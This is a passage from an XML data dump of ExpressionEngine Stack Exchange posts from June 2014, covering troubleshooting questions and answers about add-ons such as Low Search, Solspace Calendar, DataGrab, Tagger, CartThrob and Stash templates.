  <row Id="22503" PostTypeId="1" AcceptedAnswerId="22504" CreationDate="2014-06-06T16:10:39.753" Score="0" ViewCount="148" Body="&lt;p&gt;I'm unable to Edit Categories under the Categories tab of a Channel Entry view. When I click on Edit Categories nothing happens. Looking at Console this is the error it produces:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Uncaught TypeError: Cannot read property 'clone' of undefined &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've been using EE for four years and have never had this issue. Any thoughts?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using EE 2.8.1.&lt;/p&gt;&#xA;" OwnerUserId="454" LastActivityDate="2014-06-06T16:24:07.753" Title="Unable to Edit Categories via Channel Entry" Tags="|channel-entries|categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22504" PostTypeId="2" ParentId="22503" CreationDate="2014-06-06T16:24:07.753" Score="2" Body="&lt;p&gt;Sounds like this is a known js error - maybe patch here will work?  &lt;a href=&quot;https://support.ellislab.com/bugs/detail/20237&quot; rel=&quot;nofollow&quot;&gt;https://support.ellislab.com/bugs/detail/20237&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="367" LastActivityDate="2014-06-06T16:24:07.753" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22505" PostTypeId="1" CreationDate="2014-06-06T16:25:28.590" Score="2" ViewCount="491" Body="&lt;p&gt;Although I've used Low Search in the past, I now have a need to include category keywords in the results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the past I've used the standard category dropdown approach to refine (filter) the results to a specific category...&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;You can use the native category parameter to filter by category.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;ref: &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/filters#categories&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://gotolow.com/addons/low-search/docs/filters#categories&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the docs clearly state that category keyword searching is possible and that seems to be the whole point of having categories within the create collections, and that it can pick up keywords within category description, title, or custom field...&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Low Search can also add category information to the index, making&#xA;  entries searchable by keywords present in their categories.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;ref: &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/collections#categories&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://gotolow.com/addons/low-search/docs/collections#categories&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I have a category with the title &quot;Dog Friendly&quot;, I've included this in the collection and run a search on &quot;dog&quot;. No results. &quot;Dog&quot;, &quot;friendly&quot;, &quot;Dog Friendly&quot; - all no results (I have tried rebuilding indexes).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I wanted to just do a search on a specific category, I'd using the category ID from a dropdown, so is irrelevant to title, keyword, description, etc - so I'm assuming that's not what the documentation is referring to. Also not an option as I have hundreds of categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've even tried adding the word &quot;testing&quot; to a category description, then run a search for &quot;testing&quot; and included a dropdown category select with the relevant category selected. Still no results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong? &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;EE v2.7.2 &lt;/li&gt;&#xA;&lt;li&gt;Low Search v3.1.5&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Other StackExchange Answers:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/13891/can-low-search-keywords-also-search-in-categories/13896#13896&quot;&gt;Can Low Search keywords also search in categories?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/19833/index-categories-in-expression-engine-search-results&quot;&gt;Index Categories in Expression Engine search results&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="425" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2014-06-09T12:35:47.020" Title="Low Search and category keywords" Tags="|categories|low-search|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22507" PostTypeId="1" AcceptedAnswerId="22510" CreationDate="2014-06-06T16:41:41.880" Score="1" ViewCount="127" Body="&lt;p&gt;I want to setup a bunch of snippets (or even embeds?) and give users the ability to place these within their pages, but without having to create special templates or pre-defining where in the template each item should be.  I know I can setup channel fields that simply toggle them, but I want users to have more control in terms of where they go.  For example, I want all 'pages' to use a single template {pages/index} which has 3 columns, where the user has the flexibility to pull in different snippets in different places. Here's few examples of the snippets I'd want users to be able to place themselves:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;sitemap: user should be able to add page copy then pull in the snippet in whichever column they see fit&lt;/li&gt;&#xA;&lt;li&gt;latest news/blogs: user may want to show these on some pages and not others - maybe in different places&lt;/li&gt;&#xA;&lt;li&gt;call to action/advertisements: some pages may need these, some not, again maybe in different places, perhaps to 'fill' blank space depending on how long their main content is&lt;/li&gt;&#xA;&lt;li&gt;newsletter signup/quick contact forms: the user should be able to put these wherever they want&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;It would be awesome if you could just add {snippet_name} inside a WYSIWYG, but clearly it doesn't work.  Does anyone know how to achieve this?&lt;/p&gt;&#xA;" OwnerUserId="3113" LastActivityDate="2014-06-06T17:10:38.517" Title="How do I allow users to add a snippet without having to access the template?" Tags="|embeds|snippets|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22510" PostTypeId="2" ParentId="22507" CreationDate="2014-06-06T17:10:38.517" Score="3" Body="&lt;p&gt;Snippets are not intended to be used by / known by end users. They are developer tools for making your code more DRY - not so much to hold content. This is why the access to them is through the Templates area of the CP rather than the Content area.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is one approach to allowing users to create different sidebars - note that you could use the native relationship tools to do this now as they have added features since this was written:&#xA;&lt;a href=&quot;http://www.train-ee.com/courseware/free-tutorials/comments/flexible-sidebars-using-playa/&quot; rel=&quot;nofollow&quot;&gt;http://www.train-ee.com/courseware/free-tutorials/comments/flexible-sidebars-using-playa/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have built upon that approach by using a large Matrix/grid field that allowed the end user to build out a page in a lego-building block fashion, but the vocabulary of blocks was relatively limited.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Overall though what you describe is a system that assumes much more control on the part of users than what I have usually built in ExpressionEngine.  EE is a content management system that assumes a pretty controlled layout and lets users manage content within that layout.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may want to investigate a more &quot;page-based&quot; CMS that allows users to create pages vs. just manage content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or, there are tools like &lt;a href=&quot;http://devot-ee.com/add-ons/content-elements&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/content-elements&lt;/a&gt; that swing EE back towards a more page centric system.&lt;/p&gt;&#xA;" OwnerUserId="651" LastActivityDate="2014-06-06T17:10:38.517" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22511" PostTypeId="2" ParentId="22499" CreationDate="2014-06-06T19:53:39.033" Score="0" Body="&lt;p&gt;Unfortunately this feature isn't available for the CP. I recommend submitting this as a Feature Request under the specific add-on category. It'll also give other users the option to vote up the feature request, and help us prioritize features to add in upcoming versions of this add-on.&#xA;&lt;a href=&quot;http://support.solspace.com/support/discussions&quot; rel=&quot;nofollow&quot;&gt;http://support.solspace.com/support/discussions&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively you could use the &lt;code&gt;{exp:user:edit}&lt;/code&gt; form (&lt;a href=&quot;http://www.solspace.com/docs/user/edit/&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/user/edit/&lt;/a&gt;) on a front-end template only accessible by admins and let them manage categories for users from there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lastly, you could work in the exp_user_category_posts table, but we can't recommend you doing that unless you know what you are doing.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-06-06T19:53:39.033" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22512" PostTypeId="2" ParentId="22502" CreationDate="2014-06-06T22:02:22.463" Score="-1" Body="&lt;p&gt;&lt;strike&gt;Try going into the admin control panel-&gt;Members-&gt;Member Preferences, then choose &quot;Enable Membership CAPTCHA&quot; -&gt; &quot;No&quot;&lt;/strike&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&lt;br /&gt;&#xA;Apparently the recaptcha plugin does not function if disabling the native EE captcha function.  I'm using the strike-through here in case anyone can benefit from this knowledge in the future.&lt;/p&gt;&#xA;" OwnerUserId="2842" LastEditorUserId="2842" LastEditDate="2014-06-07T08:30:32.330" LastActivityDate="2014-06-07T08:30:32.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22513" PostTypeId="1" AcceptedAnswerId="23562" CreationDate="2014-06-06T22:58:07.500" Score="1" ViewCount="65" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hdgiJ.png&quot; alt=&quot;This is what it looks like when I go to Publish Calendar-&amp;gt;calendars&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So this is my problem.  I am using Structure for a site.  But, I am also using Solspace Calender-- particularly for the ICS function more than anything. (So, if there is another option out there that would allow calendar population from an external ICS file... that would be another option that I'd be open to...), but as it is  I have read around and it seems that as long as I'm not using the same template group and/or Structure is not using /calendar (url) that I should be able to use Solspace Calendar from my understanding.  Version-wise Solspace is using 1.8.6 on EE 2.7.1 and PHP Version 5.3.27.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've installed and reinstalled a number of times and cannot get the &quot;TIMEZONE&quot; area under Calendar-&gt;Calendars to appear. / or a calendar entry that I publish to be recognized when I go to publish an event as I constantly get the &quot;You must first create a calendar before creating an event.&quot; Message under the DATES &amp;amp; OPTIONS tab.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong &amp;amp; / overlooking here??&lt;/p&gt;&#xA;" OwnerUserId="337" LastActivityDate="2014-07-07T19:05:18.520" Title="Solspace and Structure conflict?" Tags="|php|channel|structure|solspace-calendar|calendar|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22514" PostTypeId="2" ParentId="22501" CreationDate="2014-06-06T23:37:52.153" Score="0" Body="&lt;p&gt;It sounds like your cookies may be trying to set for the production domain on the other MSM Sites instead of whatever your dev environment is setup as. Check your &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/admin/cookie_settings.html&quot; rel=&quot;nofollow&quot;&gt;Cookie Settings&lt;/a&gt;. Since you are unable to log in to the control panel on the other Sites, you may need to use the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/general/system_configuration_overrides.html#cookie-domain&quot; rel=&quot;nofollow&quot;&gt;config override&lt;/a&gt; so that it will be applied to each Site.&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2014-06-06T23:37:52.153" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="22515" PostTypeId="1" CreationDate="2014-06-06T23:57:41.473" Score="1" ViewCount="69" Body="&lt;pre&gt;&lt;code&gt;Message:&#xA;Undefined offset: 0&#xA;Filename: cp/myaccount.php&#xA;Line Number: 349&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is appearing at the top of the page when I go to edit a members profile via the Members tab. It's also preventing me from updating the content. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas anyone?&lt;/p&gt;&#xA;" OwnerUserId="2290" LastEditorUserId="69" LastEditDate="2014-07-08T16:47:37.327" LastActivityDate="2014-07-08T16:47:37.327" Title="I'm getting a PHP error in the Member Profile section : Message: Undefined offset: 0 Filename: cp/myaccount.php" Tags="|members|control-panel|php-errors|ee|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="22516" PostTypeId="1" AcceptedAnswerId="23546" CreationDate="2014-06-07T00:01:11.150" Score="1" ViewCount="222" Body="&lt;p&gt;I'm currently using DataGrab to pull a WP blog into EE. It works for the most part, but I can't seem to get tags to work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I added the Wordpress datatype to DataGrab (&lt;a href=&quot;http://brandnewbox.co.uk/products/datatypes&quot; rel=&quot;nofollow&quot;&gt;http://brandnewbox.co.uk/products/datatypes&lt;/a&gt;) and I see the &quot;tags&quot; section is looking for &lt;code&gt;domain=&quot;tag&quot;&lt;/code&gt;, which the WP export has? Trying to get it to populate DevDemon Tagger field, but when checking import it looks like it's not seeing the tags at all?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions greatly appreciated!!&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;: So I managed to get Wordpress tags pulled in by modifying the Wordpress datatype for DataGrab. Don't remember the line number, but for tags it's looking for &lt;code&gt;domain=&quot;tag&quot;&lt;/code&gt;but Wordpress exported it as &lt;code&gt;domain=&quot;post_tag&quot;&lt;/code&gt;, so once I updated that I was able to get tags in. &lt;strong&gt;However&lt;/strong&gt;, DataGrab still doesn't work with Tagger. So I could only import the tags into a text field, and then go into Tagger and import from the field. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This still doesn't completely solve the problem. Now the tags are in Tagger, but no longer attached to the post. So they're basically useless :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thought/ideas on how to ge things re-attached in an automatic way? With 1,000's of post I'm not willing to go through and manually re-assign!&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT 2&lt;/strong&gt;: I've since tried to use Solspace Tag as an alternative to see if it would work, unfortunately it does not. With DevDemon Tagger no error was returned, with Solspace Tag however I receive a php error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Message: Undefined index: allow_subloop&#xA;Filename: fieldtypes/datagrab_tag.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So still trying to figure this out. There are post on the DataGrab forum about this as well, so I know I'm not alone: &lt;a href=&quot;http://brandnewbox.co.uk/forums/viewthread/858/&quot; rel=&quot;nofollow&quot;&gt;http://brandnewbox.co.uk/forums/viewthread/858/&lt;/a&gt;, I also submitted my own post here: &lt;a href=&quot;http://brandnewbox.co.uk/forums/viewthread/927/&quot; rel=&quot;nofollow&quot;&gt;http://brandnewbox.co.uk/forums/viewthread/927/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will update this post if I manage to get a solution figured out...&lt;/p&gt;&#xA;" OwnerUserId="2062" LastEditorUserId="2062" LastEditDate="2014-06-08T15:45:25.890" LastActivityDate="2014-06-09T15:39:15.313" Title="Wordpress to ExpressionEngine, missing tags" Tags="|datagrab|solspace-tag|devdemon-tagger|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22517" PostTypeId="1" CreationDate="2014-06-07T09:43:32.893" Score="0" ViewCount="90" Body="&lt;p&gt;My client want to send a newsletter with a product's catalog to his customers&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible with Postmaster? I thought that I need to create a template with custom fields, then the clients publish entries and use &quot;comunicate&quot; to send the newsletter&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know if it's possible or is the right way, 'cause I never developed a site with this functionality&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance :)&lt;/p&gt;&#xA;" OwnerUserId="75" LastEditorUserId="75" LastEditDate="2014-06-07T11:10:07.847" LastActivityDate="2018-01-16T18:00:02.000" Title="Newsletter for product catalog" Tags="|postmaster|mailinglist|newsletter|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22519" PostTypeId="2" ParentId="22517" CreationDate="2014-06-07T11:34:52.920" Score="5" Body="&lt;p&gt;I would encourage the client to use a third party service such as CampaignMonitor or MailChimp. This will give you more reliable deliverability, excellent reporting and list management, as well as safeguarding your domain name against ISP blacklisting for unsolicited spam.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then integrate these services with EE. For example, something I've done before is to create an 'emails' EE channel and use relationship fields to pull in various articles and news items into an html email web page, complete with all the necessary CampaignMonitor tags for dynamic salutations, unsubscribe links and all the legal stuff that you are required to put on such mailings. CampaignMonitor then allows you to import the email directly from the web page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe there are some ways you can integrate these services more tightly, but I've found this to be sufficient for my needs.&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2014-06-07T11:34:52.920" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22521" PostTypeId="2" ParentId="21654" CreationDate="2014-06-07T14:35:08.697" Score="1" Body="&lt;p&gt;This might turn out to not be a perfectly clear answer (or in the classical meaning), however:&lt;/p&gt;&#xA;&lt;p&gt;Is that the only error you are getting? I am asking because my dev-log has more entries (I have a lot of Modules and Add-Ons installed), ranging from NSM Better Meta to Profile:Edit to EE Debug Toolbar and others.&lt;/p&gt;&#xA;&lt;p&gt;I asked the same question a while ago but can't remember where it was. I was told that I shouldn't worry about it too much, since the dev log errors &lt;em&gt;should&lt;/em&gt; be something tat devs keep an eye on.&lt;/p&gt;&#xA;&lt;p&gt;I'm on EE 2.7.3 and CT 2.5 and don't get any CartThrob error logs atm. CartThrob is not yet combatible with 2.8 (they are working on it). So I suppose this is where your errors are coming from. Ace McCarttrhob just recently wrote on twitter:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;ok, that is the best combo at the moment.&#xA;(in reply to a user that said he is on EE 2.7.3 and CT 2.5)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;To complete the answer here is what EE writes in the CP popup after clicking on:&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;This is a log for developers to bring notices or warnings to the attention of the Super Admins. &lt;strong&gt;What does this mean&lt;/strong&gt;?&lt;/em&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;One of two things has happened:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The system has detected native code or an add-on that is using outdated code that may stop working or cause issues with the system. This means an add-on in your installation is accessing a part of ExpressionEngine's core code which EllisLab plans to remove in the future in order to improve the quality of the product.&lt;/li&gt;&#xA;&lt;li&gt;A warning or message was raised by native code or an add-on for the Super Admin to view.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;To remedy this notice, you may need to do any of the following:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Contact the developer who manages your ExpressionEngine installation for help&lt;/li&gt;&#xA;&lt;li&gt;Make sure you have the latest version of all your installed add-ons&lt;/li&gt;&#xA;&lt;li&gt;Contact the developer of the offending add-on to make sure they're aware of the problem and plans to issue an update&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="847" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2014-06-07T14:35:08.697" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22522" PostTypeId="2" ParentId="14982" CreationDate="2014-06-07T14:44:40.710" Score="0" Body="&lt;p&gt;Coming back to this months later (trying to be a good SE user and marking threads as answered):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question was from my early days of trying to get a grip with Git. The behaviour I experienced as being arkward turned out to be perfectly correct and Git just did what Git does. Changes in the filesystem will be changes in the filesystem and must be watched by Git.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I just didn't understand that and tried to combine Git with updating files via FTP, whereas I had to decide: either update files one way with FTP (dev &gt; prod) or pull changes into production from the central repo.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I settled with the FTP deployment method which brings the restriction that no changes should ever be made on the production server - which isn't a good idea anyways, so everything's fine.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2014-06-07T14:44:40.710" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22523" PostTypeId="2" ParentId="22367" CreationDate="2014-06-07T14:53:49.500" Score="0" Body="&lt;p&gt;I solved this by using Stash. I now check for certain channels that contain products where payment with PayPal isn't allowed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It goes like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set name=&quot;is_channel&quot; parse_tags=&quot;yes&quot; parse_conditionals=&quot;yes&quot; default=&quot;0&quot;}&#xA;    {exp:cartthrob:cart_items_info}&#xA;        {if channel_name == &quot;channel_a&quot;}1{/if}&#xA;        {if channel_name == &quot;channel_b&quot;}1{/if}&#xA;        {if channel_name == &quot;channel_c&quot;}1{/if}&#xA;    {/exp:cartthrob:cart_items_info}&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then in the template code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:parse process=&quot;end&quot;}&#xA;    {if {exp:stash:is_empty name=&quot;is_channel&quot;}}&#xA;        Content here&#xA;    {/if}&#xA;{/exp:stash:parse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2014-06-07T14:53:49.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22524" PostTypeId="2" ParentId="22180" CreationDate="2014-06-07T15:00:20.813" Score="0" Body="&lt;p&gt;In the meantime I scheduled a support call with the people at CartThrob and they confirmed that this is an issue. They are working on an aditional tax-rate option for the next release of CartThrob (which will also be compatible to EE 2.8 &amp;amp; 2.9) and I have recieved a beta build which already takes care of the problem described above - at least to a certain degree. It's not perfect yet but I have reported my testing results back to CT and believe that it will be completely fixed once the final build will be released.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2014-06-07T15:00:20.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22525" PostTypeId="2" ParentId="22516" CreationDate="2014-06-07T16:42:00.897" Score="1" Body="&lt;p&gt;DataGrab doesn't currently have support for the Tagger field type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However DataGrab does have support for &lt;em&gt;Solspace Tag&lt;/em&gt; which may provide the correct functionality for you without having to manually update.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tag isn't free, but Solspace offer a 30-day money back guarantee so if it doesn't work you should be able to get a refund. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.solspace.com/software/detail/tag/&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/software/detail/tag/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="96" LastActivityDate="2014-06-07T16:42:00.897" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22526" PostTypeId="5" CreationDate="2014-06-07T16:55:00.087" Score="0" Body="&lt;h1&gt;Known Incompatibilities&lt;/h1&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;DataGrab&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="96" LastEditorUserId="96" LastEditDate="2014-06-08T01:12:56.763" LastActivityDate="2014-06-08T01:12:56.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22527" PostTypeId="4" CreationDate="2014-06-07T16:55:00.087" Score="0" Body="DevDemon Tagger is an add-on that allows tagging of entries. Details can be found at http://devot-ee.com/add-ons/tagger" OwnerUserId="96" LastEditorUserId="96" LastEditDate="2014-06-08T01:12:12.033" LastActivityDate="2014-06-08T01:12:12.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22528" PostTypeId="2" ParentId="22377" CreationDate="2014-06-07T17:19:52.443" Score="1" Body="&lt;p&gt;Answer to part 1) of the question:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks to Positlux's suggestion, I have confirmed via past Mighty Big Robot tweets that they by policy provide no email address for pre- or post-sale support.&#xA;They want you to tweet them.&#xA;After three tries, (one tweet a day over the past three days)&#xA;I have learned that CartThrob Lite is not available, but they hope to make it available again:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My tweet:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;@cartthrob Is CartThrob Lite still available? Not seeing where to get it or the cost.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tweeted answer back from Mighty Big Robot:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Hi, no sorry, not right now. Should be back in the near future.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On part 2) of the question, I have scheduled a phone call for next week (Mighty Big Robot free support phone calls are available 3 days a week). Will report here what I learn.&lt;/p&gt;&#xA;" OwnerUserId="3175" LastActivityDate="2014-06-07T17:19:52.443" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22529" PostTypeId="1" CreationDate="2014-06-08T00:03:12.230" Score="0" ViewCount="28" Body="&lt;p&gt;I'm an Expression Engine newbie, so this might have some obvious fix in EE land.  This javascript code works fine when I put it on a page that is not rendered by Expression Engine:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $(myDivName).append(&quot;&amp;lt;a href='http://www.foobar.com'&amp;gt;click here&amp;lt;/a&amp;gt;&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And this works fine on an Expression engine page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(myDivName).append(&quot;&amp;lt;img style='margin: 2px 30px;' src='http://www.foobar.com/image.jpg' width='225' height='275' align='left'&amp;gt;&quot; &quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, the first snippet of javascript above does not work on an EE page- I get a javascript error at the time the page the is loaded saying &quot;unidentified symbol&quot;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(myDivName).append(&quot;&amp;lt;a href='http://www.foobar.com'&amp;gt;click here&amp;lt;/a&amp;gt;&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I look with Chrome inspector, I can see that EE changed the url to wrap it in what seems to be a redirect.  Is there some formatting I need to put around dynamically written links to get them to work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for the assistance!&lt;/p&gt;&#xA;" OwnerUserId="3200" LastActivityDate="2014-06-08T00:03:12.230" Title="Writing a link to web page with javascript fails" Tags="|javascript|jquery|links|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22530" PostTypeId="1" CreationDate="2014-06-08T01:38:20.507" Score="0" ViewCount="67" Body="&lt;p&gt;Experiencing a very strange error at the moment that I can't put my finger on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Running EE 2.7.0 and any time I try to sync a file from the CP to file system (using something like Libraree, Snippet Sync, Low Variables etc), I get the dreaded WSOD.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Despite having all debug options turned on, I get crickets in output.&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2014-06-08T08:45:25.420" Title="White screen with syncing files" Tags="|snippets|white-screen-of-death|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22531" PostTypeId="2" ParentId="22530" CreationDate="2014-06-08T08:45:25.420" Score="1" Body="&lt;p&gt;So as it turned out, this was nothing to do with EE or any of the addons installed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We had installed Trace to manage db changes between environments. For the most part, this worked well...until it didn't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the changes that module introduces is a change to your db config, setting the mysql drive to &lt;code&gt;mysql_trace&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Arbitrarily, I reverted this back to the standard (this was a punt because we were getting no error output) and all was well again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Back to the drawing board on db management though :(&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2014-06-08T08:45:25.420" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22532" PostTypeId="1" AcceptedAnswerId="23539" CreationDate="2014-06-08T08:53:55.260" Score="1" ViewCount="83" Body="&lt;p&gt;I have a FreeMember based registration form where I want to record a users areas of interest at time of registration and also provide a mechanism to edit those interests after registration through a profile edit screen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The areas of interest are ExpressionEngine categories so I can easily pull them out and display them as a list of checkboxes on the registration and profile edit screens. My question is two fold...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) How should I approach storing this data in a custom member profile field? Ideally I want this to remain flexible so I’m envisaging storing the data as a a pipe delimited string of category_ids or a JSONified array.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) How am I best off processing the data, maybe using a bespoke extension for FreeMember or using jQuery to process the checkbox states on click and process that data and stuff it into a hidden field, then do the reverse on page load.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thoughts much appreciated!&lt;/p&gt;&#xA;" 